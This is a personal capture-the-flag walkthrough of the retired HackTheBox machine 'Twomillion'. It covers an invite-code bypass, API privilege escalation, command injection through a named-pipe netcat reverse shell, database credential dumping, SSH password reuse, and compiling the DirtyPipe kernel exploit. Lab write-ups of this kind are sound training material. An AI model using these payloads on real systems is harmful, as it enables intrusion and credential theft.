HackTheBox: Twomillion

01/13/2024

I officially finished all of the live easy boxes, so Ill run through whatever retired easy boxes are free before I get VIP.

This one is rated easy but appears to be user-rated as closer to medium. As far as quality its rated pretty highly at 4.7. The first blood took 3 hours, which is somewhat concerning... even [[Topology]] was only 1 hour.

Because this one is retired, it has an official writeup. I probably won't use it, but I'll use the forums for hints.

Enumeration

We have the typical two; 1) SSH on 22 2) HTTP on 80

Script scan shows that it redirects us to "2million.htb", so we'll add that to /etc/hosts. We also see that it's running Ubuntu, and that the server is nginx. Not much is revealed besides that, though. So what we'll do is add the hostname and then start running Nikto in the background.

Enumerating the web site

Very strange... it looks like the web page is a clone of the original version of HackTheBox, with the entry code and all.

I wonder if I have to solve the invite code? I've heard about this. And I think I found the logic dictating it:

js
    <script defer>
        $(document).ready(function() {
            $('#verifyForm').submit(function(e) {
                e.preventDefault();
                var code = $('#code').val();
                var formData = { "code": code };
                $.ajax({
                    type: "POST",
                    dataType: "json",
                    data: formData,
                    url: '/api/v1/invite/verify',
                    success: function(response) {
                        if (response[0] === 200 && response.success === 1 && response.data.message === "Invite code is valid!") {
                            // Store the invite code in localStorage
                            localStorage.setItem('inviteCode', code);
                            window.location.href = '/register';
                        } else {
                            alert("Invalid invite code. Please try again.");
                        }
                    },
                    error: function(response) {
                        alert("An error occurred. Please try again.");
                    }
                });
            });
        });
    </script>

Looks like pretty basic javascript, Im sure i've solved worse before.

**A word on background scan progress: Nikto hasnt found anything. Starting gobuster for directory enumeration now. Will then do wfuzz for subdomain enumeration

I see a login page. Would it be worth just trying to log in with my real creds? No luck; "user not found". So this really does seem to be a backup of the actual HTB site from September 2017. I guess I DO have to figure out how to solve the admission challenge...

Javascript isn't exactly my strong suite, but it kind of looks like I can intercept the response with Burp and change the status code to 200 and set response.success to '1'. Worth a shot..

Here's the response from the website:


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 14 Aug 2023 17:14:40 GMT
Content-Type: application/json
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 67

{"0":400,"success":0,"error":{"message":"Invite code is invalid!"}}

And here's what I changed it to:


HTTP/1.1 200 OK
Server: nginx
Date: Mon, 14 Aug 2023 17:14:40 GMT
Content-Type: application/json
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 67

{"0":200,"success":1,"data":{"message":"Invite code is valid!"}}

And I'm in. It took a few tries because I didnt notice the field "error" in the untampered response, which had to be changed to the field that the javascript is looking for called "data". I actually only caught this by looking at the console in the firefox developer tools. It threw an "Uncaught TypeError" about 'response' not having any field called 'data'; notice in the source code that it's checking the value of 'response.data.message'.

I change the parameters and I get the registration page.

Now Ill try and register an account.

No luck; it says the code is invalid. So I guess the server DOES check the code whether you pass the initial stage or not.

I already took a hint from the forums on this; the source code has a line


 <script src="/js/inviteapi.min.js"></script>

which contains some of the JS functions used on the page. I can navigate to it and check for the code.

The code itself is horrifically formatted, assumedly for the sake of obfuscation. We can use the online tool "Javascript Deobfuscator" to make it more readable (https://deobfuscate.io/)

JS
eval(function (p, a, c, k, e, d) {
  e = function (c) {
    return c.toString(36);
  };
  if (!"".replace(/^/, String)) {
    while (c--) {
      d[c.toString(a)] = k[c] || c.toString(a);
    }
    k = [function (e) {
      return d[e];
    }];
    e = function () {
      return "\\w+";
    };
    c = 1;
  }
  ;
  while (c--) {
    if (k[c]) {
      p = p.replace(new RegExp("\\b" + e(c) + "\\b", "g"), k[c]);
    }
  }
  return p;
}('1 i(4){h 8={"4":4};$.9({a:"7",5:"6",g:8,b:\'/d/e/n\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}1 j(){$.9({a:"7",5:"6",b:\'/d/e/k/l/m\',c:1(0){3.2(0)},f:1(0){3.2(0)}})}', 24, 24, "response|function|log|console|code|dataType|json|POST|formData|ajax|type|url|success|api/v1|invite|error|data|var|verifyInviteCode|makeInviteCode|how|to|generate|verify".split("|"), 0, {}));

This is way over my head. And the /htb-frontend.min.js page is even worse.

Luckily, some googling of eval( function (p, a, c, k, e, d) reveals that whatever this is is a pretty standard thing, its not specific to HTB. And luckily for me, some genius wrote a javascript unpacker, here: (https://matthewfl.com/unPacker.html). Supposedly its actually NOT intended for obfuscation, but rather compression; by packing the code this way it takes up less memory, but runs slower. Let's see if I can make sense of the unpacked javascript to find the invite code:

JS
function verifyInviteCode(code)
	{
	var formData=
		{
		"code":code
	};
	$.ajax(
		{
		type:"POST",dataType:"json",data:formData,url:'/api/v1/invite/verify',success:function(response)
			{
			console.log(response)
		}
		,error:function(response)
			{
			console.log(response)
		}
	}
	)
}
function makeInviteCode()
	{
	$.ajax(
		{
		type:"POST",dataType:"json",url:'/api/v1/invite/how/to/generate',success:function(response)
			{
			console.log(response)
		}
		,error:function(response)
			{
			console.log(response)
		}
	}
	)
}

Obsidian kind of fucks up the formatting since the page isnt wide enough to fit some lines, so just copy and paste the above into emacs and do M-x javascript-mode to get syntax highlighting.

Judging by the second function, "makeInviteCode()," it looks like I can probably get the API to send me a new code. It will likely be encrypted based on what Ive seen people write in the forums. But we'll cross that bridge when we get there.

We can see that to obtain the invite code, the page is sending a POST request to /api/v1/invite/how/to/generate

I am able to send my own request with curl, and luckily it actually sends me the code:


$ curl -v -X POST --header 'Content-Type: application/json' http://2million.htb/api/v1/invite/how/to/generate
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> POST /api/v1/invite/how/to/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Type: application/json
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 14 Aug 2023 18:41:02 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: PHPSESSID=gpga8apcl1r7nv29t4kl23hg60; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"0":200,"success":1,"data":{"data":"Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr","enctype":"ROT13"},"hint":"Data is encrypted ... We should probbably check the encryption type in order to decrypt it..."} 

Dead simple. It says in the data itself that it's ROT-13 encrypted, which I had already guessed just by looking at it. That will be trivial to decrypt with a ROT-13 tool online (https://rot13.com/).


(INPUT)
Va beqre gb trarengr gur vaivgr pbqr, znxr n CBFG erdhrfg gb \/ncv\/i1\/vaivgr\/trarengr


(OUTPUT)
In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

Let's see if we can use that as the code. Nope... shouldve read more carefully. This isnt the code itself, it's just the instructions on how to obtain it. Now I have to repeat the earlier curl request but to this new endpoint.


$ curl -v -X POST --header 'Content-Type: application/json' http://2million.htb/api/v1/invite/generate   
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> POST /api/v1/invite/generate HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Content-Type: application/json
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 14 Aug 2023 18:46:49 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Set-Cookie: PHPSESSID=8veo703t3l8vag8k800j9efu1h; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"0":200,"success":1,"data":{"code":"TElJWU0tNzhGRTYtRFpWTUotUkRYVTA=","format":"encoded"}}  

Nice. We get the encrypted code TElJWU0tNzhGRTYtRFpWTUotUkRYVTA=, which looks like base64. Lets try that:


$ echo -n TElJWU0tNzhGRTYtRFpWTUotUkRYVTA= | base64 --decode
LIIYM-78FE6-DZVMJ-RDXU0

Cool. Let's give LIIYM-78FE6-DZVMJ-RDXU0 a shot.

Success!

I was able to register a username and password, and gain entry to the site.

This is so bizarre, how it's just a clone of the actual site. Well, not technically a clone, since a bunch of links are disabled. Scrolling through the links we DO have available though, we see a changelog with the following entry:


[*] Security Bug: Information Disclosure [reported by [kernelv0id](http://2million.htb/home/changelog#)]  
After migrating to new servers for the web platform, a directive was left as default disclosing the web server version and OS flavor.

That may be important. Although since it's in a changelog it may have already been patched.

Also on the site's main page we see the following notice:


Important Announcement: We are currently performing database migrations. For this reason some of the website's features will be unavailable. We apologize for the inconvenience.

Whether that's significant or not Im not sure.

One of the other pages we DO have access to is /access, where we can actually download a .ovpn VPN file to connect. Guess I might as well try connecting, then?

I got no connection, I dont think it's actually set up. But I wonder if I can extract any creds from the .ovpn file?

Nah, not worth it, I dont see anything about that online.

One of the things Gobuster found earlier was a /Database.php page of size 0. Maybe I can fuzz it for parameters?

Attempting to fuzz Database.php and Router.php

I tried fuzzing the Database.php page as follows:


$ wfuzz -w /usr/share/SecLists/Discovery/Web-Content/burp-parameter-names.txt -f param_fuzz.out http://2million.htb/Database.php?FUZZ=test

with no results. I also tried curling POST requests to it with typical database commands like "show databases()" with no result.

I also tried fuzzing Router.php, and then did both again using ffuf with no success.

For the sake of time Im gonna check the forum. The only real hint I got is that it involves the API.

Enumerating the API

I tried navigating to http://2million.htb/api/v1 and actually got a hit:


|||
|---|---|
|v1||
|user||
|GET||
|/api/v1|"Route List"|
|/api/v1/invite/how/to/generate|"Instructions on invite code generation"|
|/api/v1/invite/generate|"Generate invite code"|
|/api/v1/invite/verify|"Verify invite code"|
|/api/v1/user/auth|"Check if user is authenticated"|
|/api/v1/user/vpn/generate|"Generate a new VPN configuration"|
|/api/v1/user/vpn/regenerate|"Regenerate VPN configuration"|
|/api/v1/user/vpn/download|"Download OVPN file"|
|POST||
|/api/v1/user/register|"Register a new user"|
|/api/v1/user/login|"Login with existing user"|
|admin||
|GET||
|/api/v1/admin/auth|"Check if user is admin"|
|POST||
|/api/v1/admin/vpn/generate|"Generate VPN for specific user"|
|PUT||
|/api/v1/admin/settings/update|"Update user settings"|

Again, obsidian's formatting makes it hard to read. But basically its a page of JSON data and various options for using the API.

It actually appears easier to view the data in the browser than by using curl.

When we visit http://2million.htb/api/v1/user/auth, we see the JSON data


{"loggedin":true,"username":"shanepm98","is_admin":0}

Is there any way we can change that "is_admin" parameter?

Attempting to change our admin status through the API


$ curl -v -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa" -d '{"username":"shanepm98"}'
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa
> Content-Length: 24
> Content-Type: application/x-www-form-urlencoded
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 14 Aug 2023 20:04:20 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Invalid content type."}    

So right now its only complaint is the content type. Lets see if I can reuse the Content-Type: application/json header to fix that:


$ curl -v -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa" -d '{"username":"shanepm98"}' -H "Content-Type: application/json"
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa
> Content-Type: application/json
> Content-Length: 24
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 14 Aug 2023 20:06:44 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Missing parameter: email"} 

Okay, we're closer. Let's try:


$ curl -v -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa" -d '{"username":"shanepm98","email":"shanepm98@gmail.com"}' -H "Content-Type: application/json" 
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa
> Content-Type: application/json
> Content-Length: 54
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 14 Aug 2023 20:07:58 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"status":"danger","message":"Missing parameter: is_admin"}  

Okay, I think we're about to crack this nut. Let's try:


$ curl -v -X PUT http://2million.htb/api/v1/admin/settings/update -H "Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa" -d '{"username":"shanepm98","email":"shanepm98@gmail.com","is_admin":1}' -H "Content-Type: application/json"
*   Trying 10.10.11.221:80...
* Connected to 2million.htb (10.10.11.221) port 80 (#0)
> PUT /api/v1/admin/settings/update HTTP/1.1
> Host: 2million.htb
> User-Agent: curl/7.88.1
> Accept: */*
> Cookie: PHPSESSID=0dani82as0tcglfc6j8sqgngfa
> Content-Type: application/json
> Content-Length: 67
> 
< HTTP/1.1 200 OK
< Server: nginx
< Date: Mon, 14 Aug 2023 20:08:49 GMT
< Content-Type: application/json
< Transfer-Encoding: chunked
< Connection: keep-alive
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< 
* Connection #0 to host 2million.htb left intact
{"id":13,"username":"shanepm98","is_admin":1}   

Hell yeah. Now when I visit /api/v1/user/auth we see {"loggedin":true,"username":"shanepm98","is_admin":1}.

So we got admin. Let's see what we can do with that now. Maybe we can generate a VPN?

I successfully generated a vpn, but it doesnt go anywhere. There's probably something else we can do on the main page.

Turning on "Guided Mode", finding command injection in the API

HTB released something called "Guided Mode" for the retired boxes which is kind of half way between using a writeup and the forum. Basically it just asks you questions to get you thinking along the right lines.

For whatever reason the discussion for this box only has 25 posts, so it's not very helpful. So I gave Guided Mode a shot, and it's actually awesome; Ill probably use it again for other retired boxes. Its great because it doesnt really tell you HOW to figure it out; if you don't have the technical skills you still won't figure it out. But it tells you roughly what kind of vulnerability to look for.

The question Guided Mode asked was "What API endpoint has a command injection vulnerability in it?", and I was off to the races. I actually got a shell pretty quickly once I knew what I was looking for.

I had a hunch that the /admin/vpn/generate endpoint would be the one, and I was right. This was the first command injection I figured out without assistance (besides being pointed in the right direction by HTB).

I had to look up what command was likely being run to generate the vpn key, and found a command here that looked like it was probably the ticket:


OpenVPN --genkey --secret keys/ta.key

(from https://help.yeastar.com/en/s-series/topic/openvpn-generate-certificates-and-keys.html)

The above command saves the generated key as "ta.key". And our interface with the generator API is a single entry of JSON data in the form


{"username":"shanepm98"}

and this yields a key simply named <username here>.ovpn.

so I guessed that MOST LIKELY the back-end is doing something like this:


OpenVPN --genkey --secret "$JSON_USERNAME".ovpn

maybe not this exactly, but something along those lines; essentially just extracting the name passed through JSON and entering it into the command.

So I tried the following payload:


{"username":"shanepm98.ovpn && rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.231 1234 >/tmp/f"}

which actually worked, and I caught a reverse shell:


$ nc -nlvp 1234       
listening on [any] 1234 ...
connect to [10.10.14.231] from (UNKNOWN) [10.10.11.221] 55466
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data

that was bad ass.

Supposedly the priv esc from here is straight-forward; we'll see.

Internal Enumeration

We know the system is running some kind of database, so maybe we can dump credentials from it.

In our current dir /var/www/html we have a .env file that assumedly initiates the db credentials into environment variables, and we get admin creds: .env


DB_HOST=127.0.0.1
DB_DATABASE=htb_prod
DB_USERNAME=admin
DB_PASSWORD=SuperDuperPass123

Before we try anything else though, let me try that password with 'root' over SSH... nope.

Since we don't have a real interactive shell we cant use the mysql client interactively, but we can use the "-e" flag to execute commands anyway.

IE:


$ mysql --user=admin --password=SuperDuperPass123 --database=htb_prod -e "show tables;"

this works.

We can dump the users and their hashes as follows:


$ mysql --user=admin --password=SuperDuperPass123 --database=htb_prod -e "select * from users;"

id      username        email   password        is_admin
11      TRX     trx@hackthebox.eu       $2y$10$TG6oZ3ow5UZhLlw7MDME5um7j/7Cw1o6BhY8RhHMnrr2ObU3loEMq    1
12      TheCyberGeek    thecybergeek@hackthebox.eu      $2y$10$wATidKUukcOeJRaBpYtOyekSpwkKghaNYr5pjsomZUKAd0wbzw4QK    1
13      shanepm98       shanepm98@gmail.com     $2y$10$zLDpl7sMeMdz3pkGBzZ1J.GPYbxPdtlr0qKP0YxCXCrpuSO/eEnMe    1

Nice. I don't actually know if those are other players or real admins, but Ill try and crack their hashes anyway.

While that's going Ill keep skimming through the database.

OH! Spoke too soon... there's actually an 'admin' user in /home, and that password worked. In as admin via SSH!


$ ssh admin@10.10.11.221
admin@10.10.11.221's password: SuperDuperPass123

admin@2million:~$

His banner mentioned that he has mail, which Ill check.

Here's his mail:


From: ch4p <ch4p@2million.htb>
To: admin <admin@2million.htb>
Cc: g0blin <g0blin@2million.htb>
Subject: Urgent: Patch System OS
Date: Tue, 1 June 2023 10:45:22 -0700
Message-ID: <9876543210@2million.htb>
X-Mailer: ThunderMail Pro 5.2

Hey admin,

I'm know you're working as fast as you can to do the DB migration. While we're partially down, can you also upgrade the OS on our web host? There have been a few serious Linux kernel CVEs already this year. That one in OverlayFS / FUSE looks nasty. We can't get popped by that.

HTB Godfather

Okay... well let me first check if I have sudo. If not ill look into this kernel exploit.

No sudo. Okay. So what version of linux are we running?


Linux 2million 5.15.70-051570-generic #202209231339 SMP Fri Sep 23 13:45:37 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

Okay, kernel version 5.15.

Alright, so assumedly the vuln he's talking about is the "DirtyPipe" one. From searchsploit,


Linux Kernel 5.8 < 5.16.11 - Local Privilege Escalation (DirtyPipe)

We also have gcc, so we should be good to go.

On my attacking machine, I dump the source code for the exploit using:


$ searchsploit -x linux/local/50808.c >> exp.c

and wget it from my machine using the victim machine.

Note: I didnt realize searchsploit put descriptions into the source file that werent commented out. I got an error when I tried to compile it, then I checked the source code and saw the uncommented lines. I removed them and then it compiled successfully;


admin@2million:/dev/shm/.shn$ gcc -o exp exp.c 
admin@2million:/dev/shm/.shn$ ls
exp  exp.c